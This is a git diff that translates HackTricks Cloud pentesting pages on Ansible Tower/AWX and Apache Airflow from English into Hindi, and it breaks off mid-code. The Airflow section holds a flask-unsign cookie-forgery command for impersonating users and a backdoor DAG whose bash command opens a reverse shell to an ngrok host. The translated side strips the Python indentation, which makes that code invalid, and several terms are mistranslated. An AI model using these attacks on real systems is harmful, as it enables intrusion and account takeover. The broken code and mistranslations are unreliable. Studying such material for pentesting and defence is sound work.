diff --git a/src/README.md b/src/README.md
index 01b146fd1..a19c13781 100644
--- a/src/README.md
+++ b/src/README.md
@@ -9,23 +9,23 @@ Reading time: {{ #reading_time }}
_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
-> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news.
+> उस पृष्ठ पर आपका स्वागत है जहाँ आप **CI/CD & Cloud** से संबंधित प्रत्येक **हैकिंग ट्रिक/तकनीक/जो भी** मैंने **CTFs**, **वास्तविक** जीवन **पर्यावरण**, **शोध**, और **शोधों और समाचारों** को पढ़कर सीखा है।
### **Pentesting CI/CD Methodology**
-**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
+**HackTricks CI/CD Methodology में आप CI/CD गतिविधियों से संबंधित बुनियादी ढांचे का pentest कैसे करें, यह पाएंगे।** एक **परिचय** के लिए निम्नलिखित पृष्ठ पढ़ें:
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Methodology
-**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
+**HackTricks Cloud Methodology में आप क्लाउड वातावरण का pentest कैसे करें, यह पाएंगे।** एक **परिचय** के लिए निम्नलिखित पृष्ठ पढ़ें:
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### License & Disclaimer
-**Check them in:**
+**इन्हें देखें:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
@@ -34,7 +34,3 @@ _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.co

{{#include ./banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index feae5163c..1b1d60c58 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -505,3 +505,5 @@
+
+
diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index b684cee3d..b9ac9450a 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -1,17 +1,13 @@
> [!TIP]
-> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+> AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+> GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
>
>
>
-> Support HackTricks
+> HackTricks का समर्थन करें
>
-> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
-> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+> - [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
+> - **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+> - **हैकिंग ट्रिक्स साझा करें,** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके।
>
>
-
-
-
-
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index d3fbf19e5..db3cc9d9b 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -4,60 +4,59 @@
## Basic Information
-**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
+**Ansible Tower** या इसका ओपन-सोर्स संस्करण [**AWX**](https://github.com/ansible/awx) को **Ansible का उपयोगकर्ता इंटरफ़ेस, डैशबोर्ड, और REST API** के रूप में भी जाना जाता है। **भूमिका-आधारित पहुँच नियंत्रण**, नौकरी अनुसूची, और ग्राफिकल इन्वेंटरी प्रबंधन के साथ, आप अपने Ansible बुनियादी ढांचे को एक आधुनिक UI से प्रबंधित कर सकते हैं। Tower का REST API और कमांड-लाइन इंटरफ़ेस इसे वर्तमान उपकरणों और कार्यप्रवाहों में एकीकृत करना सरल बनाता है।
-**Automation Controller is a newer** version of Ansible Tower with more capabilities.
+**Automation Controller Ansible Tower का एक नया** संस्करण है जिसमें अधिक क्षमताएँ हैं।
### Differences
-According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
+[**इस**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) के अनुसार, Ansible Tower और AWX के बीच मुख्य अंतर प्राप्त समर्थन और Ansible Tower की अतिरिक्त सुविधाएँ हैं जैसे भूमिका-आधारित पहुँच नियंत्रण, कस्टम APIs के लिए समर्थन, और उपयोगकर्ता-परिभाषित कार्यप्रवाह।
### Tech Stack
-- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
-- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
-- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
-- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
-- **Redis**: Redis serves as a cache and a backend for the task queue.
+- **Web Interface**: यह ग्राफिकल इंटरफ़ेस है जहाँ उपयोगकर्ता इन्वेंटरी, क्रेडेंशियल, टेम्पलेट, और नौकरियों का प्रबंधन कर सकते हैं। इसे सहज बनाने के लिए डिज़ाइन किया गया है और यह आपके स्वचालन कार्यों की स्थिति और परिणामों को समझने में मदद करने के लिए दृश्य प्रस्तुतियाँ प्रदान करता है।
+- **REST API**: आप जो कुछ भी वेब इंटरफ़ेस में कर सकते हैं, आप REST API के माध्यम से भी कर सकते हैं। इसका मतलब है कि आप AWX/Tower को अन्य प्रणालियों के साथ एकीकृत कर सकते हैं या उन क्रियाओं को स्क्रिप्ट कर सकते हैं जो आप सामान्यतः इंटरफ़ेस में करते हैं।
+- **Database**: AWX/Tower एक डेटाबेस (आमतौर पर PostgreSQL) का उपयोग करता है ताकि इसकी कॉन्फ़िगरेशन, नौकरी के परिणाम, और अन्य आवश्यक परिचालन डेटा को संग्रहीत किया जा सके।
+- **RabbitMQ**: यह AWX/Tower द्वारा विभिन्न घटकों के बीच संचार के लिए उपयोग किया जाने वाला संदेश प्रणाली है, विशेष रूप से वेब सेवा और कार्य चलाने वालों के बीच।
+- **Redis**: Redis एक कैश और कार्य कतार के लिए बैकएंड के रूप में कार्य करता है।
### Logical Components
-- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
-- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
-- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
-- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
-- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
-- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
-- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
-- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
+- **Inventories**: एक इन्वेंटरी एक **होस्ट (या नोड्स)** का **संग्रह** है जिसके खिलाफ **नौकरियाँ** (Ansible प्लेबुक) **चलाई जा सकती हैं**। AWX/Tower आपको अपनी इन्वेंटरी को परिभाषित और समूहित करने की अनुमति देता है और यह गतिशील इन्वेंटरी का समर्थन करता है जो **अन्य प्रणालियों** से होस्ट सूचियाँ **लैपटॉप** कर सकता है जैसे AWS, Azure, आदि।
+- **Projects**: एक प्रोजेक्ट मूल रूप से एक **Ansible प्लेबुक का संग्रह** है जो एक **संस्करण नियंत्रण प्रणाली** (जैसे Git) से लिया गया है ताकि आवश्यकता पड़ने पर नवीनतम प्लेबुक को खींचा जा सके।
+- **Templates**: नौकरी टेम्पलेट यह परिभाषित करते हैं कि **किस प्रकार की प्लेबुक चलाई जाएगी**, **इन्वेंटरी**, **क्रेडेंशियल**, और नौकरी के लिए अन्य **पैरामीटर** निर्दिष्ट करते हैं।
+- **Credentials**: AWX/Tower एक सुरक्षित तरीके से **गोपनीयताओं का प्रबंधन और संग्रहण** करने का एक सुरक्षित तरीका प्रदान करता है, जैसे SSH कुंजी, पासवर्ड, और API टोकन। इन क्रेडेंशियल को नौकरी टेम्पलेट के साथ जोड़ा जा सकता है ताकि प्लेबुक को चलाते समय आवश्यक पहुँच मिल सके।
+- **Task Engine**: यहीं जादू होता है। कार्य इंजन Ansible पर आधारित है और **प्लेबुक चलाने** के लिए जिम्मेदार है। नौकरियाँ कार्य इंजन को भेजी जाती हैं, जो निर्दिष्ट इन्वेंटरी के खिलाफ निर्दिष्ट क्रेडेंशियल का उपयोग करके Ansible प्लेबुक चलाता है।
+- **Schedulers and Callbacks**: ये AWX/Tower में उन्नत सुविधाएँ हैं जो **नौकरियों को विशिष्ट समय पर चलाने** या बाहरी घटनाओं द्वारा ट्रिगर करने की अनुमति देती हैं।
+- **Notifications**: AWX/Tower नौकरी की सफलता या विफलता के आधार पर सूचनाएँ भेज सकता है। यह ईमेल, स्लैक संदेश, वेबहुक आदि जैसे विभिन्न सूचनाओं के तरीकों का समर्थन करता है।
+- **Ansible Playbooks**: Ansible प्लेबुक कॉन्फ़िगरेशन, तैनाती, और ऑर्केस्ट्रेशन उपकरण हैं। वे स्वचालित, दोहराने योग्य तरीके से प्रणालियों की इच्छित स्थिति का वर्णन करते हैं। YAML में लिखी गई, प्लेबुक Ansible की घोषणात्मक स्वचालन भाषा का उपयोग करके कॉन्फ़िगरेशन, कार्य, और चरणों का वर्णन करती हैं जिन्हें निष्पादित करने की आवश्यकता होती है।
### Job Execution Flow
-1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
+1. **User Interaction**: एक उपयोगकर्ता AWX/Tower के साथ **Web Interface** या **REST API** के माध्यम से इंटरैक्ट कर सकता है। ये AWX/Tower द्वारा प्रदान की गई सभी कार्यक्षमताओं के लिए फ्रंट-एंड पहुँच प्रदान करते हैं।
2. **Job Initiation**:
- - The user, via the Web Interface or API, initiates a job based on a **Job Template**.
- - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
- - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
+- उपयोगकर्ता, वेब इंटरफ़ेस या API के माध्यम से, एक **Job Template** के आधार पर नौकरी शुरू करता है।
+- नौकरी टेम्पलेट में **Inventory**, **Project** (प्लेबुक शामिल) और **Credentials** के संदर्भ शामिल होते हैं।
+- नौकरी शुरू करने पर, निष्पादन के लिए नौकरी को कतार में डालने के लिए AWX/Tower बैकएंड को एक अनुरोध भेजा जाता है।
3. **Job Queuing**:
- - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
- - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
+- **RabbitMQ** वेब घटक और कार्य चलाने वालों के बीच संदेशों को संभालता है। एक बार जब नौकरी शुरू होती है, तो RabbitMQ का उपयोग करके कार्य इंजन को एक संदेश भेजा जाता है।
+- **Redis** कार्य कतार के लिए बैकएंड के रूप में कार्य करता है, जो निष्पादन की प्रतीक्षा कर रहे कतारबद्ध नौकरियों का प्रबंधन करता है।
4. **Job Execution**:
- - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
- - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
- - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
+- **Task Engine** कतारबद्ध नौकरी को उठाता है। यह नौकरी से संबंधित प्लेबुक, इन्वेंटरी, और क्रेडेंशियल के बारे में आवश्यक जानकारी **Database** से प्राप्त करता है।
+- संबंधित **Project** से प्राप्त Ansible प्लेबुक का उपयोग करते हुए, कार्य इंजन निर्दिष्ट **Inventory** नोड्स के खिलाफ प्लेबुक चलाता है, प्रदान किए गए **Credentials** का उपयोग करते हुए।
+- जैसे-जैसे प्लेबुक चलती है, इसका निष्पादन आउटपुट (लॉग, तथ्य, आदि) कैप्चर किया जाता है और **Database** में संग्रहीत किया जाता है।
5. **Job Results**:
- - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
- - Users can then view the results through the Web Interface or query them via the REST API.
- - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
+- एक बार जब प्लेबुक चलना समाप्त हो जाता है, तो परिणाम (सफलता, विफलता, लॉग) **Database** में सहेजे जाते हैं।
+- उपयोगकर्ता फिर वेब इंटरफ़ेस के माध्यम से परिणाम देख सकते हैं या REST API के माध्यम से उन्हें क्वेरी कर सकते हैं।
+- नौकरी के परिणामों के आधार पर, **Notifications** उपयोगकर्ताओं या बाहरी प्रणालियों को नौकरी की स्थिति के बारे में सूचित करने के लिए भेजी जा सकती हैं। सूचनाएँ ईमेल, स्लैक संदेश, वेबहुक आदि हो सकती हैं।
6. **External Systems Integration**:
- - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
- - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
- - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
+- **Inventories** को बाहरी प्रणालियों से गतिशील रूप से लिया जा सकता है, जिससे AWX/Tower को AWS, Azure, VMware, और अधिक जैसे स्रोतों से होस्ट खींचने की अनुमति मिलती है।
+- **Projects** (प्लेबुक) को संस्करण नियंत्रण प्रणालियों से खींचा जा सकता है, यह सुनिश्चित करते हुए कि नौकरी निष्पादन के दौरान अद्यतन प्लेबुक का उपयोग किया जाए।
+- **Schedulers and Callbacks** का उपयोग अन्य प्रणालियों या उपकरणों के साथ एकीकृत करने के लिए किया जा सकता है, जिससे AWX/Tower बाहरी ट्रिगर्स पर प्रतिक्रिया कर सके या पूर्व निर्धारित समय पर नौकरियाँ चला सके।
### AWX lab creation for testing
-[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
-
+[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) यह संभव है कि docker-compose का उपयोग करके AWX चलाया जा सके:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
# Load demo data
docker exec tools_awx_1 awx-manage create_preload_data
```
-
## RBAC
### Supported roles
-The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
+सबसे अधिक विशेषाधिकार प्राप्त भूमिका को **System Administrator** कहा जाता है। इस भूमिका वाले कोई भी **कुछ भी संशोधित कर सकता है**।
-From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
+एक **white box security** समीक्षा के लिए, आपको **System Auditor role** की आवश्यकता होगी, जो **सभी सिस्टम डेटा को देखने** की अनुमति देती है लेकिन कोई परिवर्तन नहीं कर सकती। एक और विकल्प **Organization Auditor role** प्राप्त करना होगा, लेकिन पहले वाला बेहतर होगा।
-Expand this to get detailed description of available roles
+उपलब्ध भूमिकाओं का विस्तृत विवरण प्राप्त करने के लिए इसे विस्तारित करें
1. **System Administrator**:
- - This is the superuser role with permissions to access and modify any resource in the system.
- - They can manage all organizations, teams, projects, inventories, job templates, etc.
+- यह सुपरयूजर भूमिका है जिसमें सिस्टम में किसी भी संसाधन तक पहुँचने और संशोधित करने की अनुमति है।
+- वे सभी संगठनों, टीमों, परियोजनाओं, इन्वेंटरी, नौकरी टेम्पलेट्स आदि का प्रबंधन कर सकते हैं।
2. **System Auditor**:
- - Users with this role can view all system data but cannot make any changes.
- - This role is designed for compliance and oversight.
+- इस भूमिका वाले उपयोगकर्ता सभी सिस्टम डेटा को देख सकते हैं लेकिन कोई परिवर्तन नहीं कर सकते।
+- यह भूमिका अनुपालन और निगरानी के लिए डिज़ाइन की गई है।
3. **Organization Roles**:
- - **Admin**: Full control over the organization's resources.
- - **Auditor**: View-only access to the organization's resources.
- - **Member**: Basic membership in an organization without any specific permissions.
- - **Execute**: Can run job templates within the organization.
- - **Read**: Can view the organization’s resources.
+- **Admin**: संगठन के संसाधनों पर पूर्ण नियंत्रण।
+- **Auditor**: संगठन के संसाधनों तक केवल देखने की पहुँच।
+- **Member**: संगठन में बिना किसी विशेष अनुमति के बुनियादी सदस्यता।
+- **Execute**: संगठन के भीतर नौकरी टेम्पलेट्स चला सकते हैं।
+- **Read**: संगठन के संसाधनों को देख सकते हैं।
4. **Project Roles**:
- - **Admin**: Can manage and modify the project.
- - **Use**: Can use the project in a job template.
- - **Update**: Can update project using SCM (source control).
+- **Admin**: परियोजना का प्रबंधन और संशोधन कर सकते हैं।
+- **Use**: नौकरी टेम्पलेट में परियोजना का उपयोग कर सकते हैं।
+- **Update**: SCM (source control) का उपयोग करके परियोजना को अपडेट कर सकते हैं।
5. **Inventory Roles**:
- - **Admin**: Can manage and modify the inventory.
- - **Ad Hoc**: Can run ad hoc commands on the inventory.
- - **Update**: Can update the inventory source.
- - **Use**: Can use the inventory in a job template.
- - **Read**: View-only access.
+- **Admin**: इन्वेंटरी का प्रबंधन और संशोधन कर सकते हैं।
+- **Ad Hoc**: इन्वेंटरी पर अद हॉक कमांड चला सकते हैं।
+- **Update**: इन्वेंटरी स्रोत को अपडेट कर सकते हैं।
+- **Use**: नौकरी टेम्पलेट में इन्वेंटरी का उपयोग कर सकते हैं।
+- **Read**: केवल देखने की पहुँच।
6. **Job Template Roles**:
- - **Admin**: Can manage and modify the job template.
- - **Execute**: Can run the job.
- - **Read**: View-only access.
+- **Admin**: नौकरी टेम्पलेट का प्रबंधन और संशोधन कर सकते हैं।
+- **Execute**: नौकरी चला सकते हैं।
+- **Read**: केवल देखने की पहुँच।
7. **Credential Roles**:
- - **Admin**: Can manage and modify the credentials.
- - **Use**: Can use the credentials in job templates or other relevant resources.
- - **Read**: View-only access.
+- **Admin**: क्रेडेंशियल्स का प्रबंधन और संशोधन कर सकते हैं।
+- **Use**: नौकरी टेम्पलेट्स या अन्य संबंधित संसाधनों में क्रेडेंशियल्स का उपयोग कर सकते हैं।
+- **Read**: केवल देखने की पहुँच।
8. **Team Roles**:
- - **Member**: Part of the team but without any specific permissions.
- - **Admin**: Can manage the team's members and associated resources.
+- **Member**: टीम का हिस्सा लेकिन बिना किसी विशेष अनुमति के।
+- **Admin**: टीम के सदस्यों और संबंधित संसाधनों का प्रबंधन कर सकते हैं।
9. **Workflow Roles**:
- - **Admin**: Can manage and modify the workflow.
- - **Execute**: Can run the workflow.
- - **Read**: View-only access.
+- **Admin**: कार्यप्रवाह का प्रबंधन और संशोधन कर सकते हैं।
+- **Execute**: कार्यप्रवाह चला सकते हैं।
+- **Read**: केवल देखने की पहुँच।
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index aac46128c..7bf3df6f6 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -4,20 +4,19 @@
### Basic Information
-[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
+[**Apache Airflow**](https://airflow.apache.org) **डेटा पाइपलाइनों या वर्कफ़्लो को व्यवस्थित और शेड्यूल करने के लिए एक प्लेटफ़ॉर्म के रूप में कार्य करता है**। डेटा पाइपलाइनों के संदर्भ में "व्यवस्थापन" का अर्थ विभिन्न स्रोतों से उत्पन्न जटिल डेटा वर्कफ़्लो को व्यवस्थित, समन्वयित और प्रबंधित करने की प्रक्रिया है। इन व्यवस्थित डेटा पाइपलाइनों का प्राथमिक उद्देश्य संसाधित और उपभोग करने योग्य डेटा सेट प्रदान करना है। ये डेटा सेट कई अनुप्रयोगों द्वारा व्यापक रूप से उपयोग किए जाते हैं, जिनमें व्यापार बुद्धिमत्ता उपकरण, डेटा विज्ञान और मशीन लर्निंग मॉडल शामिल हैं, जो सभी बड़े डेटा अनुप्रयोगों के कार्य करने के लिए आधारभूत हैं।
-Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
+बुनियादी रूप से, Apache Airflow आपको **कोड के निष्पादन को शेड्यूल करने की अनुमति देगा जब कुछ** (घटना, क्रोन) **होगा**।
### Local Lab
#### Docker-Compose
-You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
+आप **https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml** से **docker-compose कॉन्फ़िग फ़ाइल का उपयोग कर सकते हैं** ताकि एक पूर्ण apache airflow docker वातावरण लॉन्च किया जा सके। (यदि आप MacOS पर हैं, तो सुनिश्चित करें कि आप docker VM को कम से कम 6GB RAM दें)।
#### Minikube
-One easy way to **run apache airflo**w is to run it **with minikube**:
-
+**apache airflow को चलाने का एक आसान तरीका** इसे **minikube के साथ चलाना है**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow
# Use this command to delete it
helm delete airflow-release
```
-
### Airflow Configuration
-Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
+Airflow अपनी कॉन्फ़िगरेशन में **संवेदनशील जानकारी** संग्रहीत कर सकता है या आप कमजोर कॉन्फ़िगरेशन पा सकते हैं:
{{#ref}}
airflow-configuration.md
@@ -38,7 +36,7 @@ airflow-configuration.md
### Airflow RBAC
-Before start attacking Airflow you should understand **how permissions work**:
+Airflow पर हमला करने से पहले आपको **अनुमतियों का काम कैसे होता है** समझना चाहिए:
{{#ref}}
airflow-rbac.md
@@ -48,55 +46,52 @@ airflow-rbac.md
#### Web Console Enumeration
-If you have **access to the web console** you might be able to access some or all of the following information:
+यदि आपके पास **वेब कंसोल तक पहुंच** है, तो आप निम्नलिखित जानकारी में से कुछ या सभी तक पहुंच सकते हैं:
-- **Variables** (Custom sensitive information might be stored here)
-- **Connections** (Custom sensitive information might be stored here)
- - Access them in `http:///connection/list/`
-- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
-- List **users & roles**
-- **Code of each DAG** (which might contain interesting info)
+- **Variables** (कस्टम संवेदनशील जानकारी यहां संग्रहीत की जा सकती है)
+- **Connections** (कस्टम संवेदनशील जानकारी यहां संग्रहीत की जा सकती है)
+- उन्हें `http:///connection/list/` में एक्सेस करें
+- [**Configuration**](./#airflow-configuration) (संवेदनशील जानकारी जैसे **`secret_key`** और पासवर्ड यहां संग्रहीत किए जा सकते हैं)
+- **उपयोगकर्ताओं और भूमिकाओं** की सूची
+- **प्रत्येक DAG का कोड** (जिसमें दिलचस्प जानकारी हो सकती है)
#### Retrieve Variables Values
-Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\
-Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
+Variables को Airflow में संग्रहीत किया जा सकता है ताकि **DAGs** उनके मानों को **एक्सेस** कर सकें। यह अन्य प्लेटफार्मों के रहस्यों के समान है। यदि आपके पास **पर्याप्त अनुमतियाँ** हैं, तो आप उन्हें GUI में `http:///variable/list/` में एक्सेस कर सकते हैं।\
+Airflow डिफ़ॉल्ट रूप से GUI में वेरिएबल का मान दिखाएगा, हालाँकि, [**इस**](https://marclamberti.com/blog/variables-with-apache-airflow/) के अनुसार, यह संभव है कि **वेरिएबल्स की एक सूची** सेट की जाए जिनका **मान** **अतिरिक्त चिह्नों** के रूप में **GUI** में दिखाई देगा।
.png>)
-However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
-To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
-Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
+हालांकि, ये **मान** अभी भी **CLI** के माध्यम से **प्राप्त** किए जा सकते हैं (आपको DB एक्सेस की आवश्यकता है), **मनमाने DAG** निष्पादन, **API** के माध्यम से वेरिएबल्स एंडपॉइंट तक पहुंच (API को सक्रिय करना आवश्यक है), और **यहां तक कि GUI स्वयं!**\
+GUI से उन मानों तक पहुंचने के लिए बस **वेरिएबल्स का चयन करें** जिन्हें आप एक्सेस करना चाहते हैं और **Actions -> Export** पर क्लिक करें।\
+एक और तरीका है **छिपे हुए मान** पर **ब्रूटफोर्स** करना, इसे **खोज फ़िल्टरिंग** का उपयोग करके तब तक करें जब तक आप इसे प्राप्त न कर लें:
.png>)
#### Privilege Escalation
-If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
-
+यदि **`expose_config`** कॉन्फ़िगरेशन **True** पर सेट है, तो **भूमिका उपयोगकर्ता** और **ऊपर** से **वेब में कॉन्फ़िग** को **पढ़** सकते हैं। इस कॉन्फ़िगरेशन में, **`secret_key`** प्रकट होता है, जिसका अर्थ है कि इस मान्य के साथ कोई भी उपयोगकर्ता **अपना स्वयं का हस्ताक्षरित कुकी बना सकता है ताकि किसी अन्य उपयोगकर्ता खाते का अनुकरण कर सके**।
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
+#### DAG बैकडोर (Airflow कार्यकर्ता में RCE)
-#### DAG Backdoor (RCE in Airflow worker)
-
-If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
-Note that this reverse shell is going to be executed inside an **airflow worker container**:
-
+यदि आपके पास **लिखने की अनुमति** है जहाँ **DAGs सहेजे जाते हैं**, तो आप बस **एक बना सकते हैं** जो आपको एक **रिवर्स शेल** भेजेगा।\
+ध्यान दें कि यह रिवर्स शेल एक **airflow कार्यकर्ता कंटेनर** के अंदर निष्पादित होने वाला है:
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
- dag_id='rev_shell_bash',
- schedule_interval='0 0 * * *',
- start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
+dag_id='rev_shell_bash',
+schedule_interval='0 0 * * *',
+start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
- run = BashOperator(
- task_id='run',
- bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
- )
+run = BashOperator(
+task_id='run',
